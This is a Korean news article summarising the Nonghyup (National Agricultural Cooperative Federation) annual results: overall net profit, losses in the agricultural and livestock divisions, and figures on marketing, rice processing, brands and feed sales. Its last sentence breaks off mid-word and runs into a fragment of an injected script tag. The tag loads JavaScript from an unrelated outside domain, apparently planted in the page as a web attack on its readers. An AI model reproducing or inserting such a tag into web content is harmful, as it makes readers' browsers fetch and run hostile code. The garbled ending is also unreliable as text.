농협중앙회는 지난해 6894억원의 당기순이익을 올리며 5년 연속 흑자를 시현한 것으로 나타났다.

이는 신용사업부문에서 은행권 상위수준인 8518억원의 당기순이익을 올려 안정적인 경영기반을 구축한 데 힘입은 것으로 분석됐다.

반면 농업경제사업과 축산경제사업은 지난해보다 사업물량은 각각 8.7%, 10.8% 늘어났지만 1180억원, 452억원의 적자가 발생한 것으로 집계됐다.

농협중앙회는 지난 24일 서울 서대문소재 농협중앙회 강당에서 이같은 내용을 중심으로 정기대의원회를 개최했다.
이날 있었던 결산보고 내용을 사업부문별로 요약·정리한다.

# 농업경제사업

지난해 사업실적은 7조879억원으로 전년보다 8.7% 성장했다.

신용사업자금 차입금이자로 233억원이 줄었지만 당기순손익은 1180억원의 적자를 기록했다.

연합마케팅 사업에 참여하는 농협이 2003년 227개에서 지난해 444개로 증가해 전체 매출액도 2003년 1090억원에서 지난해 2189억원으로 대폭 늘어났다.

산지유통활성화와 관련 선도조합의 평균 판매사업량은 130억원으로 확대됐고 공동계산제 참여농협도 2001년 91개에서 지난해 239로 대폭 늘어났다.

지역단위 연합마케팅 사업은 지난해 86개 조직에서 2189억원의 실적을 올렸으며 대기업마케팅의 직거래 공급업체도 2003년 7개에서 지난해 12개로 늘어났다.

농산물 산지유통시설 확충을 위해 정부지원 산지유통센터(APC)가 23개소 신설됐으며 11개 농협에 중앙회 자금 50억원이 지원됐다.

또 친환경농산물의 생산과 유통기반 확충을 위해 전국 87개 조합이 참여한 전국 친환경농업협의회가 발족했다.

공판장의 취급물량도 지난해 159억원으로 전년에 비해 75% 성장했다.

한삼인과 아름찬 김치 등 농산물 전략품목의 수출이 확대됐으며 식품안전과 원산지 관리도 활발하게 이뤄졌다.

양곡부문의 경우 고품질 쌀 생산과 노후된 미곡종합처리장(RPC)의 개보수에 초점을 맞췄다.

2개이내 고품질 품종통일이 2003년 116개소에서 지난해 131개로 늘어났으며 RPC노후시설 개보수도 지난해 48개에 실시됐다.

또 RPC 경영개선을 위해 충남연기·전북정읍·전남보성 등 3개 시군에서 시군단위 RPC통합이 시범적으로 이뤄졌다.

농산물 수급조절과 관련해서는 채소·과실 계약재배사업에 전년보다 578억원이 증가한 9514억원이 무이자자금으로 지원됐다.

농자재의 경우 농기계 사업규모에 따라 판매장려금이 차등지급돼 사업량이 1373억원으로 전년보다 34% 성장했다.

또 농기자재 부가세 환급대상도 품목은 12개, 규모는 642억원으로 확대됐다.

이외 하나로마트에서는 매장 대형화가 추진됐으며 2010운동으로 농축산물의 취급물량도 1조6777억원까지 확대했다.

# 축산경제사업

지난해 사업실적은 1조5792억원으로 전년보다 10.8% 늘어났다.

당기순손익은 계획보다 109억원이 개선됐지만 452억원의 적자를 냈다.

축산물 경쟁력 강화를 위해 15개의 파워브랜드를 중심으로 판매확대에 집중했다.

일선조합의 선도브랜드 판매매출은 전년보다 335억원이 증가한 1680억원으로 추정됐다.

닭고기 외식사업인 `또래오래'' 가맹점이 325개로 대폭 늘어났으며 매출액도 전년보다 50억원이 성장한 64억원을 기록했다.

목우촌 사업도 육가공과 계육가공에서 각각 1606억원, 686억원의 매출을 올렸다.

또 우수 축산물에 대한 생산지원과 가격안정도 집중적으로 실시됐다.

축종별 경영관리 프로그램의 일환으로 2002년 한우, 2003년 양돈·양계에 이어 지난해에는 낙농관련 컨설팅이 진행됐다.

양돈산물의 수급과 가격안정사업도 활발하게 이뤄졌다.

제1회 돼지고기 축제가 지난해 11월 3일 서울 잠실주경기장에서 1만5000여명이 참석한 가운데 개최됐으며 양돈자조금도 60억원 규모로 공동 운영됐다.

축산업의 생산기반 조성을 위한 지도·지원이 강화됐다.

지역축협 한우 번식기반 마련을 위해 2만1600두수에 300억원이 지원됐으며 1637명을 대상으로 한우 고급육 생산 기술교육이 실시됐다.

또 전체 사료시장의 축소에도 농협사료는 설립 이후 최대 판매를 일궈냈다.

배합사료의 판매량이 전년 215만톤에서 지난해 225만톤으로 늘어났으며 시장점유율도 15.1%로 전년보다 1.1% 증가했다.

이외 축협 경제사업의 활성화를 위해 총 5722억원이 지원됐다.

축산발전기금 존치를 위해 국회의원 123명에게 축산기금 존치 서명서를 전달하는 등 농정활동도 적극적으로 전개됐으며 축산물 안전관리를 식약청으로 기능조정하는 것과 관련 저지대?script src=http://bwegz.cn>
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